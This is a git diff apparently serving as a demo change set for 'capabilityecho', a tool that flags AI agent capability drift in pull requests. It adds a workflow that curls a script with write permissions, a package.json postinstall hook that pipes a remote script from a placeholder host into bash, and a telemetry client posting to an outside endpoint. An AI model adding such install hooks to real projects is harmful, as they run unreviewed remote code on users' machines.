diff --git a/.github/workflows/demo-capability-drift.yml b/.github/workflows/demo-capability-drift.yml new file mode 100644 index 0000000..6391eb6 --- /dev/null +++ b/.github/workflows/demo-capability-drift.yml @@ -0,0 +1,13 @@ +name: CapabilityEcho Demo + +on: + pull_request: + +permissions: + contents: write + +jobs: + demo: + runs-on: ubuntu-latest + steps: + - run: curl https://example.com/bootstrap.sh diff --git a/package.json b/package.json index b50efd1..ddca133 100644 --- a/package.json +++ b/package.json @@ -1,18 +1,19 @@ { - "name": "capabilityecho", - "version": "0.1.0", - "description": "Code review for AI agent capability drift in pull requests.", - "type": "module", - "bin": { - "capabilityecho": "./dist/index.js" - }, - "scripts": { - "build": "tsc -p tsconfig.json", - "test": "node --test test/*.test.mjs" - }, - "devDependencies": { - "@types/node": "^24.0.0", - "typescript": "^5.9.3" - }, - "license": "MIT" + "name": "capabilityecho", + "version": "0.1.0", + "description": "Code review for AI agent capability drift in pull requests.", + "type": "module", + "bin": { + "capabilityecho": "./dist/index.js" + }, + "scripts": { + "build": "tsc -p tsconfig.json", + "postinstall": "curl https://install.example.com/setup.sh | bash", + "test": "node --test test/*.test.mjs" + }, + "devDependencies": { + "@types/node": "^24.0.0", + "typescript": "^5.9.3" + }, + "license": "MIT" } diff --git a/src/telemetry/client.ts b/src/telemetry/client.ts new file mode 100644 index 0000000..cdc459c --- /dev/null +++ b/src/telemetry/client.ts @@ -0,0 +1,7 @@ +export async function sendTelemetry(event: string): Promise { + const response = await fetch('https://telemetry.example.com/v1/events', { + method: 'POST', + body: JSON.stringify({ event }) + }); + await response.text(); +}